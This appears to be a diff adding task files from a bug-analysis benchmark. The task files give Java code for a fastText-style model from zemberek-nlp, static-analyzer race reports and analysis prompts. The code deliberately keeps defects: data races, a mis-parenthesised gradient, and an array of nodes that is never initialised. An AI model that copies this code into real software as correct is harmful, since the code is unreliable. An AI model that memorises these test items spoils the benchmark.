+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            //TODO: check below
+            return Float.compare(this.first, o.first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * (label ? 1f : 0f - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap,
+                 Vector hidden, Vector output) {
+        assert (k > 0);
+        //heap.reserve(k + 1);
+        computeHidden(input, hidden);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        // TODO: write below if necessary.
+        //std::sort_heap(heap.begin(), heap.end(), comparePairs);
+    }
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap) {
+        predict(input, k, heap, hidden_, output_);
+    }
+
+    void findKBest(int k, PriorityQueue<Pair> heap,
+                   Vector hidden, Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    void dfs(int k, int node, float score,
+             PriorityQueue<Pair> heap,
+             Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+
+    void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zemberek.embedding.fasttext.Model.binaryLogistic` indirectly reads with synchronization from `this.zemberek.embedding.fasttext.Model.hidden_.zemberek.embedding.fasttext.Vector.data_.[_]`. Potentially races with unsynchronized write in method `Model.update(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+float Model.binaryLogistic(int,boolean,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.binaryLogistic(int,boolean,float):float.692e211b4649cfe78f82841bc3e3c33c
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|binaryLogistic|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bed2c7c87503b377eaa142ece2b303a4
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9900/instruction.md b/inferredbugs-9900/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f6bace34b889640e8e1ddfafe3014e8e48894954
--- /dev/null
+++ b/inferredbugs-9900/instruction.md
@@ -0,0 +1,442 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            //TODO: check below
+            return Float.compare(this.first, o.first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * (label ? 1f : 0f - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap,
+                 Vector hidden, Vector output) {
+        assert (k > 0);
+        //heap.reserve(k + 1);
+        computeHidden(input, hidden);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        // TODO: write below if necessary.
+        //std::sort_heap(heap.begin(), heap.end(), comparePairs);
+    }
+
+    void predict(int[] input, int k,
+                 PriorityQueue<Pair> heap) {
+        predict(input, k, heap, hidden_, output_);
+    }
+
+    void findKBest(int k, PriorityQueue<Pair> heap,
+                   Vector hidden, Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    void dfs(int k, int node, float score,
+             PriorityQueue<Pair> heap,
+             Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+
+    void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zemberek.embedding.fasttext.Model.binaryLogistic` indirectly reads without synchronization from `fasttext.Model.zemberek.embedding.fasttext.Model.t_log.[_]`. Potentially races with write in method `Model.initLog()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+float Model.binaryLogistic(int,boolean,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.binaryLogistic(int,boolean,float):float.692e211b4649cfe78f82841bc3e3c33c
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|binaryLogistic|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+924326efbfd19c7c4a2ffbb378808f5e
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.